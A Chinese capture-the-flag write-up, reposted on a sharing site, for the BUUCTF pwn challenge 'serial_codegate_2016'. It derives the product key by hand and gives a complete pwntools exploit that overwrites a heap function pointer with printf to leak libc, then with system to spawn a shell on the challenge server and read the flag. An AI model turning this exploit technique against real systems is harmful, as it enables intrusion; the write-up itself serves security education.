ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[BUUCTF-pwn] serial_codegate_2016

2021-12-01 20:02:32  阅读:235  来源: 互联网

标签:show libc elf v5 v6 sendlineafter pwn serial 2016


跟堆无关也不关栈的事。

程序先在堆里开了片地,然后自己写。每个消息读入0x20字节,在0x18放个函数指针,正好写入数据时能写到函数指针上。

基本思路:

        先把函数覆盖为printf,数据写'%p,'*8这样打出内存值找个libc里的地址得到libc,删掉再写/bin/sh;xxxx+system运行的时候就会运行syste(/bin/sh)

前边有个冒儿,就是算个key,输入12位数字,每4位看成一个10进制数,然后符合公式。这个数字有点大(虽然是10进制)也不容易暴出来,但是可以手工算,使这个式子等于0即可

if ( ((unsigned __int16)((((8 * (((v5 ^ 0xBCA2) + 30069) ^ v6)) 
| ((unsigned __int16)(((v5 ^ 0xBCA2) + 30069) ^ v6) >> 13)) 
 + (v5 ^ 0x1806 ^ ((v5 ^ 0xBCA2) + 30069) ^ v6 ^ 0xFF0)) ^ v7) 
| (((unsigned __int16)(((v5 ^ 0xBCA2) + 30069) ^ v6) 
| ((unsigned __int64)(v5 ^ 0x1806u) << 16)) << 16)) << 16 )
  {
    puts("Wrong!");
    exit(-1);
  }

 手工推法:

        /* 
        	n_v5 = (v5 ^ 0xbca2 + 30069)^v6   //先进行变量替换
        	n_v6 = v5 ^ 0x1806
            (n_v5<<3 | n_v5>>13 + n_v5^n_v6^0xff0) ^v7 =0
            n_v5 =0   //根据公式前后两部分是不重叠的,所以两部分分别为0
            n_v6 =0
            v5 = 0x1806          6150   //即可算出v5,v6,v7
            v6 = 0x11a19  0x1a19 6681   //注意v6是short型,只用2字节
            v7 = 0xff0           4080
        */

完整exp:

from pwn import *

local = 0
if local == 1:
    p = process('./pwn')
    libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")
    one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
    libc_start_main_ret = 0x20840
else:
    p = remote('node4.buuoj.cn', 25132) 
    libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so')
    one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
    libc_start_main_ret = 0x20830

elf = ELF('./pwn')
context.arch = 'amd64'

p.sendlineafter(b"input product key: ", b'615066814080')

menu = b"choice >> "
def add(msg):
    p.sendlineafter(menu, b'1')
    p.sendafter(b"insert >> ", msg)

def show():
    p.sendlineafter(menu, b'3')

def free(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"choice>> ", str(idx).encode())

context.log_level = 'debug'
#gdb.attach(p, 'b*0x400a24')

add(b'%p,'*8 + p64(elf.plt['printf'])) #+p64(elf.plt['printf'])
show()   #第一次运行输入3会得到\x00 没仔细看原因,直接写两次,第2次就不会错了
show()
p.recvuntil(b',0x400790,')
libc_base = int(p.recvuntil(b',', drop=True) ,16) - 0x10 - libc_elf.sym['write']
system = libc_base + libc_elf.sym['system']

free(0)
add(b'/bin/sh;'.ljust(0x18, b'a') + p64(system))
show()
show()

p.sendline(b'cat /flag')
p.interactive()

标签:show,libc,elf,v5,v6,sendlineafter,pwn,serial,2016
来源: https://blog.csdn.net/weixin_52640415/article/details/121651388

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有